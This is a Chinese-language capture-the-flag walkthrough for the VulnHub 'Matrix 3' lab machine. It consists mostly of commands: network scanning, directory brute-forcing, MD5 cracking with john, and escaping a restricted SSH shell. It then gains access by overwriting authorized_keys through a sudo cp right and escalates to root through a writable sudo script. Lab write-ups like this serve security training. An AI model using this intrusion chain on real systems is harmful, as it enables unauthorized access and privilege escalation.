名称	说明
靶机下载链接	https://www.vulnhub.com/entry/matrix-3,326/
攻击机（kali）	ip：192.168.233.168
靶机（CentOS）	ip：192.168.233.183

arp-scan 192.168.233.1/24

nmap -p80,6464,7331 -A -T4 192.168.233.183

gobuster dir -u http://192.168.233.183 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,html

扫描出来访问看看 遇到这种有啥door的 可以访问页面看看

http://192.168.233.183/Matrix/

好多文件夹,一个一个点太慢了 

wget -c -r -np -k -L -p http://192.168.233.183/Matrix/,直接递归下载

将目录下的index.html查看文件内的A标签全部打印出来

find /path/to/directory -type f -name "*.html" -exec grep -oP '<a\s+[^>]*>.*?</a>' {} \;

将挡案下载解压

后面那串应该是啥加密试试看是不是admin密码,密码就是passwd

john --wordlist=/usr/share/wordlists/rockyou.txt secret.txt --format=Raw-MD5

用来登入http://192.168.233.183:7331/ 试试看,果然登入了

http://192.168.233.183:7331/data/ 里面有个data下载下来

windows

Windows 通常會以 Unicode 寬字節的方式儲存，所以需要加參數 --encoding={b,l}

strings data --encoding={b,l}

前面有6464可以进行SSH登入 尝试看看7R1n17yN30

ssh guest@192.168.233.183 -p 6464 -t "bash --noprofile"

需要到trinity底下进行查看

OpenSSH_7.7p1, OpenSSL 1.0.2o  27 Mar 2018

发现可以使用ssh-keygen

然后去到trinity的用户目录下发现具有ssh

同时使用sudo -l发现可以通过sudo执行cp命令

那就用ssh覆盖，然后登录用户trinity

ssh-keygen

密钥生成成功

给执行权限chmod 777 trinity.pub

然后将公钥复制到trinity用户的ssh下的authorized_keys

sudo -u trinity /bin/cp trinity.pub /home/trinity/.ssh/authorized_keys

将私钥保存到本地

ssh -p 6464 trinity@192.168.233.183 -i id-rsa

sudo -l

echo '/bin/sh' >> oracle

chmod 777 oracle 

回到根目录 直接执行sudo /home/trinity/oracle